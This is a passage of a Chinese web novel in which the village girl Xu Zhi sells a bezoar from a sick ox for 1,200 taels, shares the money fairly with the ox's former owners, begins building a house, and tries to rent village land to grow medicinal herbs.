邓老太忍了又忍,还是没忍住开了口。 “按说钱都是你赚的,祖母不该多话,可你为了买这头病牛花光了所有的钱,图啥呢? 你要是觉得地里的活辛苦,大不了咱们不种了,这牛......” 邓老太满眼嫌弃,“这牛可一点不顶事。” 许芷看着祖母不理解的样子,觉得好笑。 知道现在说什么都没用,她不打算解释什么,只说让祖母别担心,她心中有数。 如此一说,邓老太只得妥协,这日子都是靠孙女才过好的。 真要是没钱了,现在养的有鸡有鹅,地里种的都是菜。 怎么着也不会饿着。 既然孙女说有数,自己先暂且相信了吧。 等到集那日,许芷大早上带着草药去了城里。 现在她跟怀清堂的伙计都很熟了。 杜仲熟练地给她带来的草药称重算钱,都不用检查。 给过钱之后,许芷跟杜仲说:“我家里有一头含牛黄的牛,我杀不了,你们收的话找个人去杀。” 杜仲一听,这是什么话,什么叫收的话。 那可是牛黄,百年难遇啊。 他们当然收了。 杜仲冲许芷竖了个大拇指:“你还真是厉害,牛黄都能找到。” 说完,让许芷在这等着,他去叫个能杀牛的来,跟许芷回家。 很快杜仲跟一个络腮胡大汉走了过来。 这人长得,很符合许芷心目中对于屠宰之人的想象。 杜仲过来后明显憋着笑,故意问许芷:“你猜猜这人叫什么?” 许芷愣了下,想到他们铺子里的全都起了药材的名字,猜到了什么,又觉得有些离谱。 试探的问:“该不会叫牛黄吧。” 杜仲脸上的笑意瞬间放大,“没错,许姑娘你猜的真准。 这位仁兄屠牛一把老手,又来我们这当了学徒,牛黄这名字可太合适了。” 许芷尬笑两声,跟牛黄打过招呼。 第36章 价值千金 杜仲让他们两人在柜台前等着,他跟刘管事说一声。 再看到杜仲的时候,他牵着马车从外面走到了铺子门前。 “走吧,刘管事听了让我们用铺子的马车去,快些。” 事不宜迟,三人赶着马车立即往下坪村去。 马车飞驰进入下坪村的时候,还引起了一阵小风波。 这村子难得见马车,众人好奇的伸长了脖子,都想看看这马车会停到谁家。 人群里眼尖的已经看到了马车上怀清堂的字样,又见马车直往山坳去。 才知这马车是去找邓老太祖孙俩的。 许芷天天上山捣鼓点草卖给怀清堂的事情早就人尽皆知。 没有人真的觉得她能赚到钱,就算是赚到了也是她这丫头撞上了。 所以如今怀清堂的人过来,大家纷纷猜测是为何。 而站在人群中目睹一切的王素娟往地上呸一口,幸灾乐祸的说道: “还能是为什么,肯定是那丫头不懂装懂,随意给人家药铺弄了点草,人家来找她算账呢。” 许芷大家看着长大的,哪能真认识什么草药。 纷纷觉得这个说法可信。 还有个跟王三婶家关系不错的,也说道:“应当是这样,那许丫头好像是疯了,花了十两银把王三家那头病牛买了回去。” “什么!” 王素娟听到这话,眼睛瞪得老大,那可是十两银子。 还真让这丫头倒腾了点,可竟然给了王三家。 “这死丫头,真真是个赔钱货,弄飞了那六两,又丢了这十两!” 听着王素娟语气里的不甘,仿佛是自己的钱给出去了一样。 有看不上她的,故意揶揄她:“嗐呦,人许丫头可是跟你们断了的,人家的钱想怎么花就怎么花,关你什么事儿啊。” 王素娟瞪了那人一眼,不屑与她多争辩。 扭身就往山坳里去。 而看她去了,那些好奇的村民也都跟了过去看热闹。 邓老太看到马车停到自家门前,还以为自己看错了。 揉了揉眼睛,看到马车依旧在,正想出来问问。 就看到许芷从马车上来。 “小指儿,你这是?” 邓老太指着杜仲他们两个,不明白自己外孙女怎么跟两个男人一起回来了。 “祖母,他们是来杀牛的。” 许芷简单解释了一下,跟杜仲他们两个介绍了一下自己的祖母。 杜仲和牛黄笑着跟邓老太打了招呼,邓老太这才知道他们是怀清堂的。 孙女的草药都卖给了怀清堂,她的脸色一下好多了。 许芷把他们二人带到了柿子树下看牛。 杜仲和牛黄一看牛的样子,就知道这牛一定有牛黄。 “那我们就下手了,许姑娘。” 杜仲笑着说道。 只是许芷还没答应,一道刻薄的声线插了进来。 “别动,你们是干什么的?” 王素娟气势汹汹的走过来,指着杜仲二人不客气道: 杜仲没有直接回答,而是眼神递给许芷,看到许芷并没有对其另眼相看。 人精一样的杜仲立刻懂了,板着脸并不理会王素娟。 怀清堂就是块招牌,出去多少人都是好言相待,他们若是冷了脸,也无人敢说什么。 眼见自己被冷落了,王素娟着急的上前指着杜仲的鼻子问:“你是聋了还是瞎了?我问你话呢没听见?” 杜仲不怒自威,冷眼瞧着王素娟,听着对方的出言不逊并不多言语。 而因为他这沉默的样子,王素娟越发来劲儿。 忽然,一道寒光闪过。 一把剔骨刀直直的从王素娟的眼前飞过,砍在了柿子树上。 牛黄不耐烦地看了她一眼:“叽叽歪歪的,惹人厌烦,管你屁事。” 王素娟被这擦着自己过的利器,吓得跑了神,眼睛瞪得硕大,嘴唇哆嗦着,久久不能平静。 等回过神,腿软的直接坐在了地上。 “杀,杀人了!” 她惊叫着离开了山坳。 而其他的村民,脸色各异,好奇也不敢问了。 胆小的都赶紧回了家,剩下些胆大的不敢问,但是非要在这看看许芷要干啥。 清静了之后,牛黄将自己的刀拿了回来,拿了条布带,绑在了牛的眼睛上。 又趴在牛的耳朵边说了什么,才将牛放倒要杀。 这场面有些血腥,许芷不想让祖母看到,就让祖母帮自己去叫叫王茹娇的三叔。 牛黄的杀牛技术确实高超,下手快准狠。 牛死了之后,他在牛肚子上划了个口,手往里一掏,很快就拿出来了一块混着血的黄色物。 这就是牛黄。 他将牛黄清理了一下,立刻放进了杜仲早就准备好的器皿中。 杜仲拿出了个精致小称,称了一下牛黄的重量。 九两多,差一点就一斤了。 这么大块牛黄,简直罕见。 看着杜仲惊讶地样子,许芷上前直接问:“价钱怎么说?” 牛黄珍贵,素有“一两牛黄,二两黄金”的说法。 这么大块,许芷心中差不多已经有了个价格。 杜仲笑着将东西收起来,回道:“许姑娘,这东西珍贵,价得管事的说,麻烦你再跟我们去趟城里。” 许芷看了看时间不早了,若是去城里回来估计没车。 杜仲看出了她的顾虑,笑着说道:“别担心许姑娘,到时候我会让药铺的车夫送你回来。” 许芷听到点了点头,准备跟他们走。 此时王三叔过来了。 许芷掉头走过去,跟他说道: “三爷爷,这牛体内的东西我已经拿到,当时说好的,这牛还给你,这牛肉真的能吃,不信你问问这位兄弟。” 她转过身指着身后的牛黄说道:“他是杀牛一把好手,能不能吃他最清楚。” 牛黄看到王三叔投过来询问的眼神,点了点头,肯定了许芷的话。 许芷又补充说:“您要是还是觉得不放心,也可以问问那市场卖肉的,他们肯定清楚。” 说完许芷跟祖母道了别又去城里,怕回来得晚,她要赶紧出发。 走之前,有村民抓住杜仲问:“小兄弟,你们从牛肚子里取了个啥,值钱不?” 杜仲闻言笑着说:“值钱,价值千金。” 听闻此言,在场的都倒吸一口冷气。 而杜仲他们说完驾车便离开了。 有眼红的,酸溜溜的说着:“这一看都是人家跟你们说笑呢,竟也信。” 话虽如此,可这件事还是传遍了村里。 大家都知道,许芷从牛肚子里得了个价值千金的东西。 第37章 二百两银 马车比牛车快很多,他们不到一个时辰就回了怀清堂。 下了车,许芷被杜仲安排到了铺子的内间喝茶等待。 他去问过管事给许芷说价。 许芷喝着茶等待着,她的食指下意识的摩擦着杯口,一圈一圈的打发时间。 这是她从前无聊时的小习惯。 很快有脚步声过来,许芷抬头看去,门外的身影一看就不是杜仲的。 果然下一瞬,一个低一点的身形出现,杜仲惊喜的声音出现. “东家!您回来啦。” 对面的人嗯了一声,这声音让许芷心头一颤,如此熟悉。 但随即她否认的摇了摇头,那人不可能会出现在这里。 杜仲跟东家道了别,开门往里进。 看到许芷垂着头不知在想什么。 “许姑娘久等了,实在是那牛黄太过珍贵,管事的去支钱费了些功夫,才久了些。” 许芷抬头,并未从门缝中看到那个熟悉声音的身影。 笑着点了点头,问:“那管事的怎么说了?” 杜仲伸出了一根手指,许芷明了,差不多她心里也是这么个价格。 她点了点头,“那就这个价。” 杜仲笑着从怀中拿出了一张一千两的银票,还有两张一百两的银票 “一共一千二百两白银。” 许芷只想着能有个一千两,没想到还多了二百两。 不过她没表现出来,而是直接收下了。 在铺子门口等马车的时候,她跟杜仲闲聊几句,问了下铺子里缺的药材和用的最多的药材。 她心里差不多有几样选择,听了杜仲的话,跟她想的大差不差。 等车到了,许芷跟杜仲告了别,怀揣着巨额银钱回了家。 到家之后,许芷第一时间就去给王三叔家送钱。 到了王三叔家门口,许芷刚叫了一声,王三叔和王三婶两个人兴冲冲的跑了出来。 “哎呀,许丫头,你回来啦。” 王三婶亲亲热热的拉住了许芷,把她往家里带。 本来都没想着许芷能给一百两,有个十两就觉得不错。 可是怀清堂的人说了那东西值千金,许芷要是有了千金,那他们的百两不就有着落了。 王三婶还将家里收拾的碎茶叶沫子拿了出来,给许芷冲了碗茶。 “许丫头,渴了吧,快喝吧。” 许芷有些难以抵挡这样的热情,她局促的喝了口茶,解不解渴不知道,反正一嘴的沫子。 她有些后悔没叫着王茹娇陪自己来,后者明显更适应这样的场景。 许芷放下了茶碗,在王三婶和王三叔两人殷切的目光中,拿出了那两张百两银票。 “这里是二百两,给您二老。” “二百两?” 夫妻俩笑容瞬间消失,不可置信的站起来,看着许芷的眼神都变了。 许芷愣了一下,她之前说一百两是因为不知道能出多少的牛黄,但是起码一百两是能给的起的。 但是这次赚了一千二百两,超出了她的预期,所以就多给了一百两,定金不算。 不过看王家夫妻的反应,对这二百两很不满意。 现在全村的人都知道自己得了个价值千金的东西,他们俩肯定也不例外。 许芷心想王家夫妻应当是觉得那东西原本是他们的,自己得了千金才给二百两。 她心里叹了口气,虽然这东西是值钱,可也得在懂得的人手里值钱。 若是他们要掰扯这钱的事,只要不是太过分,自己也能多给一些。 可要是他们太贪心,就不要怪自己翻脸。 许芷做好了心理准备,等待对方先开口说话。 王三婶走上前,盯着许芷,表情严肃的开口道:“许丫头,你怎么说话不算数啊?” “怎么不算数?” 许芷的眼神冷了下来。 “说好了一百两,你又给了我们十两定金,怎么现在变成了二百两,你说你是不是不算数?” 王三婶说的义正言辞。 却让许芷有些慌乱了。 怎么是这么个不算数?完全在许芷的意料之外。 她本以为是嫌给的太少了,没想到是觉得自己给多了。 王三叔也颇为赞同妻子的话,“没错,许丫头,咱可是说好了,一百两,你现在应该再给九十两。” 许芷瞬间觉得羞愧,自己刚刚竟然恶意揣测他们夫妻两人。 “你们......” 她一时不知该说些什么。 王三婶走上前,只拿了一张银票。 有些不好意思的跟许芷说:“拿了这一百两,应该把之前的十两还你,但我们花了些,等我把这银票换开,再给你十两行不?” 说完还信誓旦旦的保证道:“你放心许丫头,我们一个铜板都不会少你的。” 许芷被这朴实的态度给戳中了,鼻子酸酸的。 她忍住了想要流泪的冲动,扬起了个诚心的笑脸道: “三爷爷三奶奶,之前我并不知有多少牛黄,不敢多说了价钱,但如今你们应该知道卖了不少,所以那定金不算,给你们二百两。” 一听这话,王三叔第一个不愿意,“那不行,之前说好了的,你这孩子怎么能随意改呢?” “没错。”王三婶也跟着附和,“一百两我们都很知足。” 许芷看着他们诚挚的样子,也真心实意的说道: “这二百两你们必须拿着,其实牛本来是你们的,算是我捡漏。” “什么捡漏?” 王三婶很是不认同的看向许芷。 “你要是不来买牛,这牛真病死我们也得不到一分钱,你这是凭本事吃的饭,我们还有钱拿,多好。” “你三奶奶说得对,那就算是好东西也得有人赏识不是?我们俩根本不懂这些,你这钱拿的应该。 况且,牛你还还给我们了,我们得了钱,也得了牛肉,已然是占了大便宜。” 王三叔也随着妻子的话说道,两个人言语间全是满足。 许芷说什么都要给二百两,最后夫妻两个实在是拗不过,给了许芷一条牛腿和二十斤牛肉。 他们要是把钱退给许芷,她肯定不要,但是给肉的话,许芷就厚着脸皮收下了。 回到家许芷将肉都给了祖母,邓老太看到这么多牛肉,眼睛都亮了。 “怎么买这么多牛肉?” “别人给的,就那头你说没啥用的牛。” 许芷一边说着,一边坐下休息。 第38章 盖新房咯 邓老太一听眉头皱起来,刚还高兴的样子瞬间消失。 “这肉......” “能吃,你相信我。” 许芷看着祖母小心的样子,哭笑不得。 不过相较于肉能不能吃这个问题,邓老太更想问另一个问题。 那就是许芷从牛身上得来的那块东西卖了多少钱。 她不是想要钱,而是觉得孙女可是花了全部积蓄买了头牛,就只要了那一块,剩下的还都还了回去。 可别本都没捞回来。 那怀清堂的伙计说是有千金,可是那谁知道是不是故意说的玩笑话。 她抓住许芷的手,语重心长的说道:“小指儿,祖母不求你大富大贵,现在的日子比起从前已经好了许多。 你莫要挥霍,说什么千金万金的祖母都不信,你真的拿到了手才是真的。” 许芷明白祖母的意思,她笑着从胸前拿出了那张千两银票给祖母看。 邓老太哪见过银票啊,手里有点银子都是少之又少。 不认字的她,不懂为何许芷给了她一张纸。 “这是啥啊?” 许芷愣了一下,指着上面写了面值的地方说:“一千两,祖母这是一千两。” 邓老太惊得下巴都要掉下来了,瞬间手里的纸宝贵起来,她拿着都有点不知所措。 “小指儿啊。” “啊?怎么了?” “掐祖母一下,让祖母看看是不是真的。” 许芷听到这话,再也忍不住笑出了声。 邓老太过了大半辈子,别说千两,就是百两都没见过。 银票在手里好像是烫手山药,她赶紧给了许芷。 “还是你拿着,这太多了,我不敢拿。” 许芷笑嘻嘻,赶紧把这让祖母不安的源头收了起来。 有了钱,不仅能开始筹备自己的药田,还能盖房子了。 许芷问祖母想要什么样的房子,邓老太想了半天,说道:“能睡就行,不拘什么样。” 当晚邓耧子回来,许芷就表明了要盖房子的想法。 想问问邓耧子他们眼下的活能干到啥时候,若是可以,希望能提前跟他们谈好了,下一个活就给她们盖房子。 邓耧子挑眉看向自己的外甥女:“小芷,你可太行了,都存够盖房子的钱了。” 许芷腼腆的笑了笑,说起自己想要盖的房子样式。 “舅舅,我想盖个一进的院子,我跟祖母一人一间屋子,东边的屋子一半当厨房,一半收拾了放张床,你随时来了有地方住,西边盖个洗澡的屋子和放杂物的,茅厕就在东边,最好是能在院子里留个盖鸡窝的地。” 一般人家都把鸡窝牛棚盖到了房子后面,但是许芷她们这是山坳,后面是山,没有什么空地。 只能把鸡窝往院子里挪。 邓老太一听,顺势提了自己的要求。 “真要是盖房子,能不能我还住窑洞啊,这窑洞冬暖夏凉的,我睡着舒服。” 许芷听了说道:“要不给祖母你在屋里盖个炕,烧地龙,冬天也暖和。” 邓老太说什么都不行,就是要住窑洞。 最后许芷说:“要不然窑洞跟盖的房子通着,只是到时候看看跟哪间屋子通着方便。” 这样说邓老太才松口了。 邓耧子听了答应许芷明天跟工头提一提,到时候给她说价。 “行,不过舅舅,我不止盖这个一进的院子,还要盖两间额外的仓房用来晾药材,不拘什么格局,够大就行。” 许芷补充的说。 邓耧子点头表示知道,又夸了夸许芷的能耐,吃过饭就回去了。 晚上许芷跟祖母说了药田的想法,因为要弄药田的话,地里就不能种庄稼了。 而且好多药并不是一年生,要两三年、三四年的积累才能开始卖钱。 所以要提前跟祖母说清楚。 邓老太听了只说让许芷放开手去做,她全力支持,就算是不种这两亩田,她们也不会缺吃穿。 还说若是许芷现在需要,她明天能都去地里把那红薯苗全都拔了。 有祖母这句话,许芷就觉得够了。 “没事的祖母,我现在不用,提前跟您说一下。” “那行,总之你干什么祖母都支持你。” 说完,邓老太就睡了。 许芷却久久不能入睡,她打听过了,距离下坪村最近的药苗贩子,在五十里外的南庄寨子。 她一个女子不好一个人出去,还是要找人跟自己同去好一些。 现下先把房子盖好是正事。 有了这些打算,实现起来就快得很。 邓耧子跟工头一说,当时就立刻敲定了下来。 他们这次的活大概还有半个月的工,干完就去给许芷祖孙俩盖房子。 因为是舅舅信赖的工头,还托他介绍了不错的木工师傅。 一进的院子,加上需要的那些个家具,还有许芷要的两间仓房,全套下来取了整一百八十两。 夏天的闷热感逐渐散去,在一个秋高气爽的日子里,许芷和祖母的大院子开工了。 这日子是祖母亲自看的,说是个良辰吉日。 开工当天,王茹娇和她三叔三婶也一起来帮忙。 动土前,要先祭拜土地公和鲁班先师。 许芷不懂这些个规矩,听着祖母的提前去城里买了猪头和鸭,杀了最肥的一只鸡,又买了些林檎、橘子、梨和糕点,作为祭品。 邓老太还提前折了元宝和纸钱,祭拜的时候烧。 祭拜过后,让邓耧子拿起铁锹铲了第一铲土,就算是成了,可以开始盖房。 中午邓老太做了大锅烩菜,大白菜炸豆腐粉条萝卜加猪肉,香的人都要咬舌头。 又蒸了几十个细面馒头,第一天动工,得让大家吃好吃饱。 一般第一天动工主家都是象征性的请吃一碗饭。 差不多的人家都是一人一碗面就不错了,差一点的就是一人一碗面汤。 像许芷她们这样实在又丰盛的还是头一次。 邓老太给他们盛菜,还叮嘱要吃饱,不要不好意思,想回碗一定要说。 大家得了这话,也都不客气,吃饱了饭干的那叫一个起劲儿。 工人里除了邓耧子是她舅舅,还有张家那俩兄弟,认识的都有仨。 其他的工人早就得了他们三个的请求,干起活来本就尽心尽力。 又吃的这么好,更是奋力。 第39章 挑拨离间 很快这一天就过去了,许芷在工人走之前跟他们说道:“各位叔叔,日后我跟祖母会管大家一顿中饭。” 他们这的传统就是一天吃两顿饭,所以去做工没有人管饭的。 但是他们又是干的力气活,早饭吃的再多只能顶半天,剩下的要么生抗,要么就是家里人提前给准备点饼子什么的。 头一次见管一顿饭的主家。 许芷解释说: “我知道大家干的都是力气活,早上吃那点顶不住,我中间给大家添一顿,希望大家能更尽力些,不说早日完工,起码做的尽善尽美些。” 这是许芷早就跟祖母商量好的,她提出的时候还怕祖母不同意。 毕竟这不是一两个人的饭。 没想到祖母也有这个想法。 自己的儿子都是常年干这个的,她当然知道那些工人顶不住。 说是作为一个母亲的善心也好,说是为了让他们把房子盖好也好,总之,管一顿就管了。 听了许芷的解释,大家心中更感动。 场面的话不会说,连连保证一定把房子盖好。 许芷盖房的事情,在村里掀起了轩然大波。 一个无依无靠的孤女,竟真的靠着山上弄些草,还有王三家的那头牛赚到了盖房的钱。 其中反应最大的要属王素娟。 她在屋里急的团团转:“那死丫头,怎么有这么多钱!” 邓栓子看着转来转去的妻子,烦躁的头疼:“你能不能坐下,转的我头晕。” 王素娟不甘的说道:“你知道那丫头拿了多少钱盖房子吗?” “一百八十两!谁见过一百八十两啊,我连八两都没见过。” 她拍着手,说的那叫一个痛心疾首。 今日她一出门就有那好事的,说她傻。 说她把自己的财神爷赶出了家门。 还有那噎死人的,说什么就是她压了许丫头的命数,离了她许丫头就大富大贵。 听到这话,她牙都要咬碎了。 那这谁能料到,她当时要是知道,这许丫头后面这么有出息,她说什么也不会把人赶走。 可人都赶出去了,如今说这些有何用! 越想越气的她,觉得不能光让自己难受。 转头她出了门,不理会丈夫身后的询问,直接去了王三家。 她到的时候,王三婶和王三叔刚从许芷家帮忙回来。 看到王素娟,夫妻俩都不是很想搭理她。 但是碍于面子还是给了个笑脸。 王三婶客气的问道:“邓家的,怎么今日想起来我家了?” 王素娟亲亲热热的喊了声婶子,还挽住了王三婶的胳膊,不知道的还以为这是亲婶子。 “婶子,咱都是一王家的,往上数几代,都是沾着亲带着故的。” 王三婶僵着笑意把手抽了出来,语气疏离,“邓家的,有啥事你就说。” 王素娟尴尬了一瞬,但还是热呵的笑着说:“哎呀,婶子我能有啥事啊,我这不是想着咱都是一家的,替你们觉得不值。” “你这话我就听不明白了。” 王三婶给王三叔个眼神,让他先回去,自己应付。 不过再应付,也是站在门口,连家门都不想进。 王三婶怕这人屁股沉,进去了半天不出来咋办。 王素娟显然也意识到了这一点,但她忍了忍继续道: “我们家那许丫头怎么那么黑心,明知道你家那牛肚子里有值钱的玩意,不直接给你们说,还低价买了你们的牛靠着这个发了财,房子都盖起来了。” 王三婶一听这个,好嘛,来挑拨离间呢。 只怕是眼红许丫头盖房子,故意来给自己上眼药。 还真当谁都是她这种贪财又无赖的货色,自己心里不得劲儿,就想着法的让别人也不舒服。 自己又不是傻子,还真能信了她这两三句话,去找许丫头麻烦,到时候可让她看了热闹。 王三婶这鄙夷的样子,落在了王素娟的眼中,还以为她将自己的话听了进去,说的就更起劲儿了。 “婶子,人人都说我没福气,说那许丫头现在挣了银钱,可我并不在意,那不是我的,我心里清楚。 但这牛可是你家的啊,要不是她许丫头,那得了宝贝疙瘩的就是你跟三叔,你俩要是拿了这钱,不说盖个院子,去城里买个院子都行的。” 她说的激愤,丝毫没有注意到王三婶越来越瞧不起她的眼神。 只是她说了半天也不见王三婶表态,她讪笑一声,又转了话头说道: “嗐,王婶子,这原本跟我是没关系,只是我看不惯我那外甥女如此作为,不想让原本属于你跟叔的银钱落入那贱丫头手里。” 王三婶闻言冷笑一声,这可把王素娟弄懵了。 “婶子你笑啥啊?” 王三婶睨她一眼,毫不客气的说道:“我笑你知道跟你没关系,还叭叭的跑来跟我说这些,真是阴险作为。” “哎?你这话什么意思啊婶子,我这是给你打抱不平!” 王素娟听到这话,瞬间恼了。 “还为我打抱不平,你自己心里装的啥小九九真当别人看不出来呢?” 王三婶双手环于胸前,睥睨的眼神自下而上的将王素娟扫视一遍。 “你自己见不得许丫头好,瞧见人家赚了钱,你眼红的很,只恨那钱没到你手里,所以来我这以为说两句话,就能让我一时脑热,去跟许丫头闹? 见自己的谋算被点了出来,王素娟心虚的大声否认,似乎这样就能掩盖自己的心思。 “你瞎说什么呢?就当我狗拿耗子,多管你这闲事了,这什么世道,一番好心为别人也能让人曲解了去。” “嘁,你是不是好心自己心里清楚。” 王三婶就是如此直白,不愿意听到王素娟说什么狗屁话。 王素娟彻底恼了,“你你你,你真是王八缩进壳,看不清东南西北,你得不到那宝贝疙瘩真是活该。” “用你管?赶紧滚吧,我并不是很想看到你。” 话都说到这份上了,王素娟吃了瘪气冲冲的回了家。 回到家中的王素娟,仍旧咽不下这口气。 气的饭都不想做,躺在屋子里哭喊自己命苦。 邓栓子听到了,嫌晦气的踹了她一脚。 “嚎什么嚎!老子活的好好地,赶紧滚去做饭去,老子快饿死了。” “我要是有一百八十两,我给你做十八盘都行!” 王素娟赌气的说道。 第40章 租地不顺 邓栓子瞪她一眼:“没出息,赚再多钱有啥用,不还是个丫头片子,以后嫁了人,这房子咱娘能住几天?” 听闻这话,王素娟突然来了精神。 “是啊,左右不过是个丫头,咱家宝可是唯一的男丁,以后还不都是咱儿子的。” 想通了这个王素娟又喜笑颜开,起来做饭去了。 当然,眼红的人不止王素娟一个,也有人去王三婶面前挑拨,可都被她呛了回去。 如此,便没有人敢去乱说什么。 王三婶甚至主动在村子里为许芷说好话。 “那许丫头有本事,就是挣钱的人,我们知道什么呀?要不是许丫头给了这一百两,我们只会牛一死埋了,啥也得不到。” 大家听闻这话,都觉得有道理。 那不安好心的自知挑拨不得,便也歇了心思。 盖房这些日子,三叔也在里面混了个活计,许芷大方的给他开了工钱。 三婶每日也来帮着做顿饭,甚至还拿了自己家的面和菜来。 刚开始邓老太说什么都不让她拿,可她说这是心意,拒绝了就是不想跟他们往来。 如此这般,只好由着她了。 不过许芷悄悄的给三叔的工钱提了点。 盖房的事有小舅舅和祖母盯着,许芷放心的很,她开始着手计划着租田。 要发展药田,光自己家那两亩地可是不行。 趁着现下马上秋收,在种下一茬的粮食之前要是能商定下来租的田,药田今年就种下,明年就能开始卖了。 她觉得自己人微言轻,这种事还是要找一个村里有名望的人帮着自己问问。 所以她决定去找里正说一下自己的想法,让里正牵头看看村里有没有人愿意。 许芷是个行动派,想清楚拎着十个鸡蛋就要出山坳去。 只是人还没走两步,王茹娇便追了上来。 王茹娇也日日的来看他们盖房,不过许芷看的出来,她是为张铁牛而来。 每日殷勤又贴心的给张铁牛送水擦汗。 “小芷,你去哪啊?” “里正家里。” 许芷简单的回答。 “找里正干啥呀?” 王茹娇继续问着。 许芷也不瞒她,日后若是做起来,村子里的人都会知道。 她将自己的打算都说了出来,王茹娇一听立刻要加入。 “小芷,你是个会赚钱的我信你,我手里有八亩地都租给你!” 许芷愣住,没想到王茹娇手里有这么多地。 看出了许芷的疑惑,王茹娇解释说:“我家里就我和我哥,我哥又是衙门的,所以我娘就把家里的地分一半给我,说是以后的嫁妆。 不过我一个未出门的姑娘,左右种了粮都是家里的,并未在意过。 如今你做这个,我当然要第一个支持你,又能赚钱,何乐不为?” 许芷闻言点了点头:“那我按一亩地二两银子租,这个价钱只给你,其他的若有兴趣的,一概一两银子一亩。” “行。” 王茹娇一听一年什么都不干,就有十六两银子,兴高采烈地跟着许芷去了里正家里。 原本许芷以为里正听了会高兴,毕竟是赚钱的门路。 可是她小瞧了庄户人家对种地的执念。 “许丫头,知道你是为村里人好,可这大家都是几辈子种地的,要是地里不种粮食心里不踏实。” “可若是有了钱,买就是了。” 许芷语气轻松地说道。 里正叹了口气,心想这许丫头果真是赚了钱,说话的底气都不一般。 “许丫头,你想的太简单了,钱能可着花,可粮食不能撑着吃啊,所以这钱不一定能存下,粮食是一定能屯住的,只要有粮人就饿不着。” 里正语重心长的一番话,让许芷陷入了沉思。 许久她才开口道:“我知道了里正,但我还是希望您能牵头帮忙问一问。 若是谁家有意愿,一亩地一两银,我不全租,剩下的还种地就行。” 许芷本来打算租了人家的地,再教会大家种植药苗的方式,这样地也有了工人也有了。 可是大家肯定更想种地来作为保障,所以她才这样说。 里正点点头,答应了会帮许芷问问,但不敢保证谁会愿意。 透过里正的话,许芷已经清楚。 所以她只说自己心里有数,里正问问就是帮了大忙,她不强求。 出了里正家门,许芷有了一丝挫败感。 王茹娇看了出来,挽着她安慰说道: “小芷没事的,起码有我那八亩地呢,那也不少了,咱们两个人看管那八亩地也不是轻松的。 咱们就先做着,赚了钱村里人看到,自然就会愿意。” 许芷点点头,两个人就回了家。 晚上,王茹娇和下了工的张家两兄弟,还有三叔三婶一起往家回。 张立柱突然开口问王茹娇:“娇娇,下午你跟小芷去哪了?看着小芷回来后好像不是很高兴。” 一说起这个王茹娇也叹气,将许芷的打算和里正的话都跟他们说了。 张立柱一听立刻说:“我跟铁牛两个人还有十亩地呢,我们俩这天天出去做工,地在那放着也是放着,不如租给小芷。” 说完还寻求认同的问了下弟弟张铁牛,张铁牛不善言语,嗯了一声也认同。 而三叔三婶一听也说要加入。 “许丫头有眼光,她做的事一定能做成。” 三婶兴奋的说着。 王三叔也点点头道:“没错,我们就租给她几亩,我就不信那药苗需要我时时刻刻看护着,总能抽出点空档种粮食。” 有了他们这话,王茹娇当即高兴的就要回去给许芷说。 张立柱拦住了她,“明日再说吧,如今不早了,大家都早点回去休息。” 王茹娇想想也是,就忍着高兴回了家。 到家第一件事就是把这个打算跟家里人说了说。 本来她并不认为自己需要说,那本来就是自己的地。 还是许芷听了里正的话,要她一定要问一问家里。 王桥夫妻两个听了觉得这是个好法子,这半年许芷的作为他们都看在眼里。 这是个能成大事的丫头,所以只叮嘱让王茹娇好好跟着许芷干。 但王老太一听脸皱成了包子,呵斥女儿不要逞能耐。 “地就是用来种粮食的,可不是乌七八糟的让你们玩的。” 第41章 流苏花树 “那不是玩,我们这是做生意!” 王茹娇不满的反驳。 看到女儿竟敢忤逆自己,王老太更生气了。 “什么做生意,女儿家家,当稳重在家里呆着,到年岁嫁人就行,出去抛头露面什么?做生意那都是男人家的事,你不许做。” 王茹娇一听饭也不吃了,丢下一句“反正那地是我的,我想怎么做就怎么做!”便回了自己屋里。 王老太被女儿这个顶撞的态度气到了,颤抖着手指着她的房门不满的说道: “这丫头竟敢跟我犯犟,你爹走得早,她年纪小我偏宠了些,竟养成了这么个骄纵性子!” 王桥夫妻两个对了个眼神,默契的也放下了饭碗。 徐青云去里屋劝慰小姑子,而儿子王桥去劝亲娘。 “娘,娇娇只是在村里种药苗怎么就出去抛头露面了,我看那许丫头是个厉害的,说不准真能带着娇娇赚大钱。” 听到儿子也这么说,王老太气急,“那丫头——” 可她不知想到了什么,话戛然而止,放缓了语气,道:“娇娇马上就到了议亲的年纪,还这样静不下来能成?天天往外跑,谁家能看上这样的儿媳?” 说起这个王桥无话可说,女子婚事本就是大事,母亲有顾虑也是情理之中。 他只缓和的说道:“你就让她试一试,不行她自己就算了,何况还有我这个哥哥在。” “你就宠着她吧。” 王老太无话可说,只能撑着拐杖回了自己屋。 王桥将母亲扶进屋里,出来又去了妹妹的屋子。 他敲敲门进去的时候,妹妹正在妻子的怀里撒着娇。 “你要做便做好给娘看,知道吗?” 王桥不废话,直接说道。 王茹娇一听这话,知道这是答应了,立刻兴奋的欢呼。 “谢谢嫂子,谢谢哥!” 第二日王茹娇大早上起来兴奋的去找许芷,说了家人都同意的事情,还有昨晚张立柱和王三叔他们也想加入的事情。 张立柱和三叔加入的事情,王茹娇来之前,许芷已经听他们说了。 但是听到王茹娇这么兴奋,许芷还是不扫她的兴,跟着她的话高兴。 张立柱兄弟俩有十亩地,王三叔他们家打算出租一半六亩地,加上王茹娇的八亩地和自己的两亩地,一共是二十六亩。 这也不少了,许芷心想。 可以开始着手去买药苗了。 许芷思来想去,决定去问问杜仲能否租怀清堂的马车出去。 怀清堂的名号远近皆知,租他们的马车,自己的生意和安全能更有保证。 虽然自己赚了钱,可是说破天也就是个村里小丫头,贸然出去买药苗做生意,不说人家能不能看得上。 光是心怀不轨的估计都不在少数,自己只是借用一下怀清堂的名号,并不做他用。 想好之后,她决定下一次集要去一趟怀清堂。 本来因为盖房这事,她上次集跟怀清堂刚说了先暂时不送草药,也不做药丸。 但现在却是很有必要了。 很快就到了集当天,许芷去了怀清堂。 杜仲远远瞧见许芷的身影还当是看错了,直到许芷站在他面前,他才确认这就是许芷。 “哎呀,许姑娘怎么来啦?不是说暂时先停一停。” 许芷:“我来是想求你件事。” 杜仲一听故作诚惶诚恐的,“嗐呦,用求这个字真是太抬举我了,许姑娘,有何事你直说便是。” 许芷也不拐弯抹角:“我来是想租你们铺子的马车一用。” 一听是这个,杜仲有些为难,他实话说:“这马车我做不得主,得去问过管事才行。” “我知道,你只管帮我问就行,成与不成在我,你帮我问我便记你的情。” 许芷这么说,杜便答应了,他让许芷等会儿,自己进去问。 不消一会儿,杜仲就出来了,面色并不算好,他讪笑一声说道:“我们管事的请姑娘进去。” 